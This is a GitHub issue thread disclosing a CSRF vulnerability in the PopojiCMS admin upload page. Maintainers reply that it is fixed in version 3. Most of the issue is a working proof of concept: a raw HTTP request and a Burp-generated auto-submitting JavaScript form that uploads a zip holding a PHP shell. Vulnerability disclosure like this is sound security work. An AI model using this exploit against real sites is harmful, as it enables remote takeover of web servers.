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I found a CSRF vulnerability that can getshell #13

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p0desta opened this issue Oct 30, 2018 · 2 comments
Closed

I found a CSRF vulnerability that can getshell #13

p0desta opened this issue Oct 30, 2018 · 2 comments

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@p0desta
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p0desta commented Oct 30, 2018 •
edited 

    POST /PopojiCMS/po-admin/route.php?mod=component&act=addnew HTTP/1.1
    Host: www.test.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------2687329433777
    Content-Length: 594
    Origin: null
    Cookie: iCMS_USER_AUTH=dc043aa07gOqcLfWTuJoLSCrKIkbJNa8SPGk1VUKhacikJl4JxbrK2aBNBbk0bbmKnQwweqtz7vvJ93P2lLGBzezHER9aEK_HMs0_39QpgM5hSdhCCNxDv8Lwtx1RRqZEVpWUZBwAjJe9476soMuCC6-gJ1e_mfMMhYSA8ioWG1OUFUvUW07tVg5F0RUP2oamPz91F-t85bDNOEnubfHpxzFMND3EABDYJN0o1HfVweojEDYaxs-l6VEiuc0fFUlm-MIZXnd5xe1h6std5cCRwRCS_H71q-oTNO3NbuyojT9HVlCafwxmz7BTlmfIRHeADx7DImb_UyY_daATbgMffPsEHs4KApMstm9pbT4D53E8YbyCAnCDog4MQ7tV3snwpSRufPJCdeY3fkJUFyDhfbqTiJXEAxAcOWCoxGwLXWPI-Ns9Tyjh4WJChqpy0_gwa3JSszGZOQZaAf86KqeDKdct-YSE2UN6qwRVvUeOijMZrdzPxaqt_1OzlhDeBPlM4UW4xQMh7VQ3q5TcfpIHclZWiAspuU8Ynnj3XEwAo8; iCMS_userid=b8423c8bm9SnzUz782Y6XmtRdU1dTR3CL9iqL-Iv83vI7htnIg; iCMS_nickname=c3bc646dcSTyka3txmYpDcMW2sUPNhaunl7kIzv0Nf_89GTeIZNk; SESScc7018fb7c828d13ca316e4ca4f83f45=reN7QmxRtg9oImYLl_d5_ZsuNHhcU1_umYek0QW3BUc; PHPSESSID=5o4r0qmiao4kna434n7kdbnn14
    referer: http://www.test.com/fiyocms/
    Connection: keep-alive
    Cache-Control: max-age=0
    
    -----------------------------2687329433777
    Content-Disposition: form-data; name="component"
    
    p0desta
    -----------------------------2687329433777
    Content-Disposition: form-data; name="type"
    
    component
    -----------------------------2687329433777
    Content-Disposition: form-data; name="fupload"; filename="shell.zip"
    Content-Type: application/x-zip-compressed
    
    PK���

The background upload page does not have CSRF protection, so we can construct the poc

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
        <script>
          (function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://www.test.com/PopojiCMS/po-admin/route.php?mod=component&act=addnew", true);
            xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
            xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------2687329433777");
            xhr.withCredentials = true;
            var body = "-----------------------------2687329433777\r\n" + 
              "Content-Disposition: form-data; name=\"component\"\r\n" + 
              "\r\n" + 
              "p0desta\r\n" + 
              "-----------------------------2687329433777\r\n" + 
              "Content-Disposition: form-data; name=\"type\"\r\n" + 
              "\r\n" + 
              "component\r\n" + 
              "-----------------------------2687329433777\r\n" + 
              "Content-Disposition: form-data; name=\"fupload\"; filename=\"shell.zip\"\r\n" + 
              "Content-Type: application/x-zip-compressed\r\n" + 
              "\r\n" + 
              "PK\x03\x04\x14\x00\x00\x08\x08\x00S\x8dSM\xef\x83M\xc6\x1b\x00\x00\x00\x19\x00\x00\x00\t\x00\x00\x00shell.php\xb3\xb1/\xc8(PH-K\xcc\xd1P\x89\x0f\xf0\x0f\x0e\x896\x8c\xd5\xb4V\xb0\xb7\x03\x00PK\x01\x02?\x00\x14\x00\x00\x08\x08\x00S\x8dSM\xef\x83M\xc6\x1b\x00\x00\x00\x19\x00\x00\x00\t\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00shell.php\n" + 
              "\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00nT\xbd\x11\x90g\xd4\x01\x84n\x12\x04\x90g\xd4\x01\x84n\x12\x04\x90g\xd4\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00[\x00\x00\x00B\x00\x00\x00\x00\x00\r\n" + 
              "-----------------------------2687329433777--\r\n";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
              aBody[i] = body.charCodeAt(i); 
            xhr.send(new Blob([aBody]));
          })();
        </script>
      </body>
    </html>

Then send it to the admin link, then we can getshell.
@DwiraSurvivor
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Terima kasih untuk temuan ini. Kami sebagai pengembang akan segera memperbaiki masalah ini di versi berikutnya.

@DwiraSurvivor
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Sudah diperbaiki pada versi 3

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@DwiraSurvivor @p0desta